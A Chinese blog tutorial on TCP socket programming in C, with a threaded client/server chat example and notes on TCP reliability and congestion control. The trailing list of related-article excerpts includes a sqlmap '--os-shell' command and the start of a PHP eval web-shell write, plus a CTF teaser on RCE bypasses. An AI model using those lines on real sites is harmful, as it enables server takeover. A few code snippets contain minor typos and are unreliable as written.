【网络编程】TCP传输控制协议(Transmission Control Protocol)

news2025/1/15 6:27:47
  • (꒪ꇴ꒪ ),Hello我是祐言QAQ
  • 我的博客主页:C/C++语言,数据结构,Linux基础,ARM开发板,网络编程等领域UP🌍
  • 快上🚘,一起学习,让我们成为一个强大的攻城狮!
  • 送给自己和读者的一句鸡汤🤔:集中起来的意志可以击穿顽石!
  • 作者水平很有限,如果发现错误,请在评论区指正,感谢🙏


        Socket编程是通过使用Socket API接口来实现的,这些接口允许开发人员创建网络应用程序,实现数据的传输和通信。下面我们就一些常见的Socket API接口示例和讲解,来实现TCP/IP通信。
 

一、TCP通信相关函数


        ① socket():创建套接字

        socket(socket_family, socket_type, protocol=0)函数用于创建一个套接字对象。socket_family表示地址族(例如,socket.AF_INET表示IPv4),socket_type表示套接字类型(例如,socket.SOCK_STREAM表示TCP套接字),protocol通常默认为0

// 创建套接字socket
	int ser_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (ser_socket == -1)
	{
		perror("socket");
		return -1;
	}

        ②初始化地址结构体

// 初始化地址结构体 // IP地址+PORT端口号
	struct sockaddr_in addr;
	addr.sin_family = AF_INET;   						//地址簇
	addr.sin_port = 56789;								//端口(一般以传参的传进来)
	addr.sin_addr.s_addr = inet_addr("192.168.159.128");	//IP地址
	// addr.sin_addr.s_addr = htonl(INADDR_ANY);		//用特殊的"0.0.0.0"这个IP来绑定本机IP地址


        ③ bind():绑定本机地址和端口

        bind((host, port))函数用于将套接字与本地地址和端口绑定,以便在特定地址和端口上监听连接请求。

    // 绑定地址结构体bind
	int b = bind(ser_socket, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
	if(b == -1)
	{
		perror("bind");
		return -1;
	}
	printf("绑定成功\n");


        ④ connect():建立连接

        connect((host, port))函数用于建立到远程主机的TCP连接。它连接到指定的远程地址和端口。

// 建立连接connect
	int c = connect(cli_socket, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
	if (c == -1)
	{
		perror("connect");
		return -1;
	}
	printf("连接成功\n");


       ⑤  listen():设置监听端口

        listen(backlog)函数用于设置套接字为监听模式,backlog指定了可以等待连接的最大客户端数量。

	// 开启监听listen
	int l = listen(ser_socket, 3);
	if (l == -1)
	{
		perror("listen");
		return -1;
	}
	printf("监听成功\n");//ser_socket由 待链接套接字 变成 监听套接字


        ⑥ accept():接受TCP连接

        accept()函数用于接受客户端的TCP连接请求,并返回一个新的套接字对象,以便与客户端进行通信。

	// 等待连接accept
	struct sockaddr_in c_addr;		//用来存放客户端链接成功之后的IP加端口
	int addrlen = sizeof(c_addr);
	int new_socekt = accept(ser_socket, (struct sockaddr *)&c_addr, &addrlen);
	if (new_socekt == -1)
	{
		perror("accept");
		return -1;
	}
	// new_socekt 链接成功之后,用来通信的套接字
	printf("客户端[%s][%u]连接成功\n", inet_ntoa(c_addr.sin_addr), c_addr.sin_port);
	//客户端的IP跟端口,IP是你客户端本身自带的,但是端口是系统随机分配的


        ⑦ recv(), read():数据接收

        这些函数用于从套接字接收数据。recv()和read()用于TCP套接字,它们接收数据并将其存储在指定的缓冲区中。

  int new_socekt = *((int *)arg);
	while(1)
	{
		sem_wait(space);//P操作   空间资源-1
		
		char buf[1024];
		bzero(buf, sizeof(buf));
		read(new_socekt, buf, sizeof(buf));
		printf("服务器接收到消息: %s\n", buf);

		sem_post(data);//V操作    数据资源+1
	}


        ⑧ send(), write():数据发送

        这些函数用于向套接字发送数据。send()和write()用于TCP套接字,它们将数据从缓冲区发送到目标套接字。

int new_socekt = *((int *)arg);
	while(1)
	{
		sem_wait(data);//P操作    数据资源-1

		char buf[1024];
		printf("请输入发送给客户端的消息:");
		fgets(buf, sizeof(buf), stdin);
		write(new_socekt, buf, strlen(buf));
		sem_post(space);//V操作   空间资源+1
	}

二、网络地址转换和套接字属性的管理

在网络编程中,有时候需要进行网络地址的转换,以及设置和获取套接字的属性。这些操作是网络通信中的基本需求之一。在本部分中,我们将介绍与网络地址转换相关的函数以及如何获取和设置套接字属性。

2.1 网络地址转换相关函数

1. inet_aton( )和 inet_addr( )

这两个函数允许将点分十进制字符串形式的IP地址转换为32位网络字节序的二进制地址。

  • inet_aton(const char *cp, struct in_addr *inp):将点分十进制字符串 cp 转换为32位网络字节序的二进制地址,并存储在 inp 结构中。

  • inet_addr(const char *cp):将点分十进制字符串 cp 转换为32位网络字节序的二进制地址,并返回结果。

2. inet_network( )

        inet_network(const char *cp) 函数用于将点分十进制字符串形式的IP网络地址(例如 "192.168.1.0")转换为32位网络字节序的二进制地址。

3. inet_ntoa( )

        inet_ntoa(struct in_addr in) 函数用于将32位网络字节序的二进制地址转换为点分十进制字符串形式的IP地址,例如将 11111111111111111111111111111111转换为 "192.168.1.47"。

4. inet_lnaof( ) 和 inet_netof( )

        这两个函数用于从 struct in_addr 结构中提取主机位和网络位的部分。inet_lnaof(struct in_addr in) 返回主机位inet_netof(struct in_addr in) 返回网络位

2.2 获取和设置套接字属性

1. getsockopt( )

        getsockopt(int sockfd, int level, int optname, void *optval, socklen_t *optlen) 函数用于获取套接字 sockfd 的属性。你可以指定属性的级别 level 和选项名 optname,并将结果存储在 optvaloptlen 用于指定 optval 缓冲区的大小。

2. setsockopt( )

        setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen) 函数用于设置套接字 sockfd 的属性。你可以指定属性的级别 level 和选项名 optname,并提供要设置的值 optval 以及值的大小 optlen

        这些函数是在网络编程中非常有用的,它们允许你在应用程序中轻松地进行网络地址的转换和管理套接字属性。网络编程需要处理各种网络相关操作,这些函数提供了一种有效的方式来处理这些需求。无论是将字符串形式的IP地址转换为二进制形式,还是获取和设置套接字的属性,这些函数都是网络程序员的强大工具。

三、TCP/IP实现服务器与客户端相互通信

        服务器与客户端对比图:

        服务器端和客户端分别创建了两个线程,task1task2,分别用于接收和发送消息。它们之间通过有名信号量 spacedata 进行同步和通信。在客户端中,通过 connect 连接到服务器。最终实现服务器与客户端相互通信:

server.c

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <semaphore.h>

#define SPACE "/my_space"  // 使用唯一的路径名
#define DATA "/my_data"

sem_t *space;
sem_t *data;

//线程任务函数1
void *task1(void *arg)
{	
    int new_socekt = *((int *)arg);
	while(1)
	{
		sem_wait(space);//P操作   空间资源-1
		
		char buf[1024];
		bzero(buf, sizeof(buf));
		read(new_socekt, buf, sizeof(buf));
		printf("服务器接收到消息: %s\n", buf);

		sem_post(data);//V操作    数据资源+1
	}
}

//线程任务函数2
void *task2(void *arg)
{	
    int new_socekt = *((int *)arg);
	while(1)
	{
		sem_wait(data);//P操作    数据资源-1

		char buf[1024];
		printf("请输入发送给客户端的消息:");
		fgets(buf, sizeof(buf), stdin);
		write(new_socekt, buf, strlen(buf));
		sem_post(space);//V操作   空间资源+1
	}
}


int main(int argc, char const *argv[])
{
	// 删除已存在的同名信号量(如果有的话)
	sem_unlink(SPACE);
	sem_unlink(DATA);

	// 打开有名信号量
	space = sem_open(SPACE, O_CREAT, 0777, 1);
	data = sem_open(DATA, O_CREAT, 0777, 0);

    // (1)创建套接字socket
	int ser_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (ser_socket == -1)
	{
		perror("socket");
		return -1;
	}

	// (2)初始化地址结构体 // IP地址+PORT端口号
	struct sockaddr_in addr;
	addr.sin_family = AF_INET;   						//地址簇
	addr.sin_port = htons(56789);						//端口(一般以传参的传进来)
	addr.sin_addr.s_addr = inet_addr("192.168.159.128");	//IP地址
	// addr.sin_addr.s_addr = INADDR_ANY;			//用特殊的"0.0.0.0"这个IP来绑定本机IP地址

	// (3)绑定地址结构体bind
	int b = bind(ser_socket, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
	if(b == -1)
	{
		perror("bind");
		return -1;
	}
	printf("绑定成功\n");

	// (4)开启监听listen
	int l = listen(ser_socket, 3);
	if (l == -1)
	{
		perror("listen");
		return -1;
	}
	printf("监听成功\n");//ser_socket由 待链接套接字 变成 监听套接字

	while(1)
	{
		// (5)等待连接accept
		struct sockaddr_in c_addr;		//用来存放客户端链接成功之后的IP加端口
		int addrlen = sizeof(c_addr);
		int new_socekt = accept(ser_socket, (struct sockaddr *)&c_addr, &addrlen);
		if (new_socekt == -1)
		{
			perror("accept");
			return -1;
		}
		// new_socekt 链接成功之后,用来通信的套接字
		printf("客户端【%s】【%u】连接成功\n", inet_ntoa(c_addr.sin_addr), c_addr.sin_port);

		// 创建两个线程,用于双向通信
		pthread_t pid1, pid2;
		pthread_create(&pid1, NULL, task1, &new_socekt);
		pthread_create(&pid2, NULL, task2, &new_socekt);
	}

	// (7)关闭套接字close/shutdown
	close(ser_socket);
	// shutdown(new_socekt, SHUT_RDWR);

	return 0;
}

client.c

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <string.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <semaphore.h>

#define SPACE "/my_space"  // 使用唯一的路径名
#define DATA "/my_data"

sem_t *space;
sem_t *data;

//线程任务函数1
void *task1(void *arg)
{	
    int cli_socket = *((int *)arg);
	while(1)
	{
		sem_wait(space);//P操作   空间资源-1
		
		char buf[1024];
		printf("请输入消息:");
		fgets(buf, sizeof(buf), stdin);
		write(cli_socket, buf, strlen(buf));

		sem_post(data);//V操作    数据资源+1
	}
}

//线程任务函数2
void *task2(void *arg)
{	
    int cli_socket = *((int *)arg);
	while(1)
	{
		sem_wait(data);//P操作    数据资源-1

		char buf[1024];
		bzero(buf, sizeof(buf));
		read(cli_socket, buf, sizeof(buf));
		printf("服务器返回消息: %s\n", buf);

		sem_post(space);//V操作   空间资源+1
	}
}

int main(int argc, char const *argv[])
{
	// 删除已存在的同名信号量(如果有的话)
	sem_unlink(SPACE);
	sem_unlink(DATA);

	// 打开有名信号量
	space = sem_open(SPACE, O_CREAT, 0777, 1);
	data = sem_open(DATA, O_CREAT, 0777, 0);

	// (1)创建套接字socket
	int cli_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (cli_socket == -1)
	{
		perror("socket");
		return -1;
	}

	// (2)初始化地址结构体服务器的 // IP地址+PORT端口号
	struct sockaddr_in addr;
	addr.sin_family = AF_INET;   						//地址簇
	addr.sin_port = htons(56789);						//服务器端的端口(一般以传参的传进来)
	addr.sin_addr.s_addr = inet_addr("192.168.159.128");	//服务器端的IP地址(一般以传参的传进来)

	// (3)建立连接connect
	int c = connect(cli_socket, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
	if (c == -1)
	{
		perror("connect");
		return -1;
	}
	printf("连接成功\n");

	// 创建两个线程,用于双向通信
	pthread_t pid1, pid2;
	pthread_create(&pid1, NULL, task1, &cli_socket);
	pthread_create(&pid2, NULL, task2, &cli_socket);

	while(1);

	// (5)关闭套接字close/shutdown
	close(cli_socket);
	// shutdown(cli_socket, SHUT_RDWR);
	return 0;
}

        如果遇到 bind:地址已被使用,我们只需在服务器初始化addr之前加上这段代码,来实现地址的复用即可。

int reuse 1;
    if(setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,(void *)&reuse,sizeof(reuse))<0)
    {
        perror("setsockopt error");
        return -1;
    }

四、 TCP协议如何保证可靠传输

        TCP实现可靠传输的关键机制包括:

  • 序列号:每个TCP报文段都有一个唯一的序列号,接收端根据序列号来重组数据,确保数据的顺序。
  • 检验和:TCP在数据报文段中包含一个检验和字段,用于检测数据在传输过程中是否发生损坏,以便丢弃损坏的数据。
  • 确认应答信号:接收端会向发送端发送确认应答,告知发送端哪些数据已成功接收。如果发送端未收到确认应答,它会重发数据。
  • 重发控制:如果发送端未收到确认应答或检测到丢失的数据,它会重新发送这些数据,直到接收端确认接收。
  • 连接管理:TCP建立连接时,使用三次握手确保双方都准备好通信,而关闭连接时,使用四次挥手确保数据的完整传输。
  • 窗口控制:TCP使用滑动窗口机制来控制数据的流动,确保发送端不会发送过多数据,从而防止接收端被淹没。
  • 流量控制:TCP通过接收端发送窗口大小来告知发送端可以发送多少数据,以避免接收端缓冲区溢出。
  • 拥塞控制:TCP使用拥塞控制算法来避免网络拥塞,包括慢开始、拥塞避免、快重传、快恢复等算法。

五、 当网络发生拥塞时,TCP协议如何处理

        TCP使用拥塞控制算法来应对网络拥塞情况,以防止网络丢包率过高、延迟增加等问题。主要的拥塞控制算法包括:

  • 慢开始(Slow Start):在连接初始阶段,发送端发送的数据段数量较小,随着时间的推移逐渐增加,以便观察网络状况。

  • 拥塞避免(Congestion Avoidance):一旦慢开始阶段完成,TCP进入拥塞避免阶段,每个传输轮次中发送的数据段数量逐渐增加,直到发生拥塞。

  • 快重传(Fast Retransmit):如果接收端连续收到相同序列号的数据段(表明某个数据段丢失),它会立即向发送端发送重复确认,触发发送端的快速重传。

  • 快恢复(Fast Recovery):当发送端接收到快重传的重复确认时,它不会进入慢开始,而是将拥塞窗口减半,然后继续逐渐增加。

        这些算法共同确保TCP在遇到网络拥塞时能够降低发送速率,以减少网络负载,同时也通过快速重传和快速恢复来尽快恢复到正常传输状态。TCP的拥塞控制机制是维护网络稳定性和性能的关键部分。

        更多C/C++语言Linux系统数据结构ARM板实战相关文章,关注专栏:

   手撕C语言

            玩转linux

                    脚踢数据结构

                            系统、网络编程

                                     探索C++

                                             6818(ARM)开发板实战

📢写在最后

  • 今天的分享就到这啦~
  • 觉得博主写的还不错的烦劳 一键三连喔~
  • 🎉🎉🎉感谢关注🎉🎉🎉

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/980945.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

pandas(四十三)Pandas实现复杂Excel的转置合并

一、Pandas实现复杂Excel的转置合并 读取并筛选第一张表 df1 pd.read_excel("第一个表.xlsx") df1# 删除无用列 df1 df1[[股票代码, 高数, 实际2]].copy() df1df1.dtypes股票代码 int64 高数 float64 实际2 int64 dtype: object读取并处理第二张表…

函数栈帧(详解)

一、前言&#xff1a; 环境&#xff1a;X86Vs2013 我们C语言学习过程中是否遇到过如下问题或者疑惑&#xff1a; 1、局部变量是如何创建的&#xff1f; 2、为什么局部变量的值是随机值&#xff1f; 3、函数是怎么传参的&#xff1f;传参的顺序是怎样的&#xff1f; 4、形…

Python实现猎人猎物优化算法(HPO)优化循环神经网络分类模型(LSTM分类算法)项目实战

说明&#xff1a;这是一个机器学习实战项目&#xff08;附带数据代码文档视频讲解&#xff09;&#xff0c;如需数据代码文档视频讲解可以直接到文章最后获取。 1.项目背景 猎人猎物优化搜索算法(Hunter–prey optimizer, HPO)是由Naruei& Keynia于2022年提出的一种最新的…

【Arduino25】液晶模拟值实验

硬件准备 LCD1602显示屏&#xff1a;1 个 220欧的电阻&#xff1a;1 个 旋钮电位器&#xff1a;1 个 面包板&#xff1a;1个 杜邦线&#xff1a;若干 硬件连线 软件程序 #include <LiquidCrystal.h>LiquidCrystal lcd(12,11,5,4,3,2);void setup(){lcd.begin(16,2);…

UNIX网络编程卷一 学习笔记 第三十一章 流

在大多数源自SVR 4的内核中&#xff0c;X/Open传输接口&#xff08;X/Open Transport Interface&#xff0c;XTI&#xff0c;是独立于套接字API的另一个网络编程API&#xff09;和网络协议通常就像终端IO系统那样也使用流系统&#xff08;STREAMS system&#xff09;实现。 我…

VS Code断点调式Cesium

1.在VS Code中安装Debugger for Firefox插件 2.下载安Firefox Developer Edition 3. 创建launch.json 编辑并保存launch.json {// Use IntelliSense to learn about possible attributes.// Hover to view descriptions of existing attributes.// For more information, vis…

ETCD详解

一、etcd概念 ETCD 是一个高可用的分布式键值key-value数据库&#xff0c;可用于服务发现。 ETCD 采用raft 一致性算法&#xff0c;基于 Go语言实现。 etcd作为一个高可用键值存储系统&#xff0c;天生就是为集群化而设计的。由于Raft算法在做决策时需要多数节点的投票&…

06 科技英语|控制与优化学科词汇

maneuver n 策略&#xff1b;v 操控、调遣 manipulate vt 熟练控制 scalability n 可扩展性 leverage n 杠杆&#xff1b;v 促使...改变 flexibility n 弹性 dispatch n 急件&#xff1b;v 调度&#xff1b;派遣 leverage …

[TQLCTF 2022]simple_bypass

文章目录 涉及知识点解题过程 涉及知识点 无数字字母RCE自增马构造文件包含读取源码 解题过程 打开题目&#xff0c;随便注册一个用户为admin 登陆进去后&#xff0c;一眼发现杰哥图片有线索 我们F12看一下如何请求的 在这里发现可能存在文件包含漏洞 我们尝试读取下源码 …

深度优先搜索(dfs)--矩阵部分-leetcode以及常见题

介绍 深度优先搜索&#xff08;Depth-First Search&#xff0c;DFS&#xff09;是一种常用的图搜索算法&#xff0c;它用于查找图或树数据结构中的路径或解决问题。下面是深度优先搜索的常见步骤以及一个示例问题&#xff1a; 深度优先搜索的常见步骤&#xff1a; 选择起始节…

1分钟了解音频、语音数据和自然语言处理的关系

机器学习在日常场景中的应用 音频、语音数据和自然语言处理这三者正在不断促进人工智能技术的发展&#xff0c;人机交互也逐渐渗透进生活的每个角落。在各行各业包括零售业、银行、食品配送服务商&#xff09;的多样互动中&#xff0c;我们都能通过与某种形式的AI&#xff08;…

Flutter中系统Emoji通过substring裁切后无法识别导致渲染错误

Flutter中系统Emoji通过substring裁切无法识别、渲染错误 场景分析/思考寻找神马东西引起的渲染错误为什么 substring 之后就无法显示了 结论分析 substring 场景 在发布文章的时候&#xff0c;有标题和内容&#xff0c;标题可为空&#xff0c;在没有标题的情况下&#xff0c;…

大数据之MapReduce

MapReduce概述 是一个分布式的编程框架&#xff0c;MapReduce核心功能是将用户编写的业务逻辑代码和自带默认组件整合成一个完整的分布式运算程序&#xff0c;并发运行在一个Hadoop集群上。 优点&#xff1a; 易于编程&#xff0c;简单的实现一些接口&#xff0c;就可以完成一…

CentOS 7删除virbr0虚拟网卡

在CentOS 7的安装过程中如果有选择相关虚拟化的的服务安装系统后&#xff0c;启动网卡时会发现有一个以网桥连接的私网地址的virbr0网卡&#xff0c;这个是因为在虚拟化中有使用到libvirtd服务生成的&#xff0c;如果不需要可以关闭后去掉&#xff1a; 一、查看IP及网桥设备 [r…

Ajax介绍、爬取案例实战 + MongoDB存储

Ajax介绍 Ajax&#xff08;Asynchronous JavaScript and XML&#xff09;是一种用于在Web应用程序中实现异步通信的技术。它允许在不刷新整个网页的情况下&#xff0c;通过在后台与服务器进行数据交换&#xff0c;实时更新网页的一部分。Ajax的主要特点包括&#xff1a; 异步通…

前端框架 vue-admin-template的搭建运行

一介绍 1.1 下载地址 vue-element-admin是基于element-ui 的一套后台管理系统集成方案。 GitHub - PanJiaChen/vue-element-admin: :tada: A magical vue admin https://panjiachen.github.io/vue-element-admin 1.2 node.js的安装 地址下载node.js 1.6版本 CNPM Binari…

2023 IntelliJ IDEA下载、安装教程, 附详细图解

文章目录 下载与安装IDEA推荐阅读 下载与安装IDEA 首先先到官网下载最新版的IntelliJ IDEA, 下载后傻瓜式安装就好了 官网下载地址&#xff1a;https://www.jetbrains.com/ 1、下载完后在本地找到该文件&#xff0c;双击运行 idea 安装程序 2、点击 Next 3、选择安装路径&…

sqlmap --os-shell(写入木马获取getshell)

在存在sql注入处&#xff0c;可以使用--os-shell 对存在SQL注入处抓包&#xff0c;查看报错暴露出绝对路径 将POST包放入TXT文本中 启动sqlmap 读取TXT文件 python sqlmap.py -r C:\Users\南倾\Desktop\222.txt --os-shell 写入木马到文件中 echo "<?php eval($_R…

复旦-华盛顿EMBA:AI时代掘金,科技进化里的挑战与机遇

如果从去年年底ChatGPT3.5发布算起&#xff0c;AI赛道的热度已经持续飙升了半年有余。      “AI的iPhone时刻”代表什么&#xff1f;AI驱动的商业时代已经到来&#xff1f;      我们能看到担忧、恐惧、憧憬&#xff0c;但唯独不缺狂飙突进、加速进化。人类制造AI&…

ES 集群常用排查命令

说明&#xff1a;集群使用非默认端口9200&#xff0c;使用的是7116端口举例 一、常用命令 #1.集群健康状态 [wlsadminelastic-01~]$ curl -XGET "http://10.219.27.00:7116/_cluster/health?pretty" { cluster name":"cluster" "status"…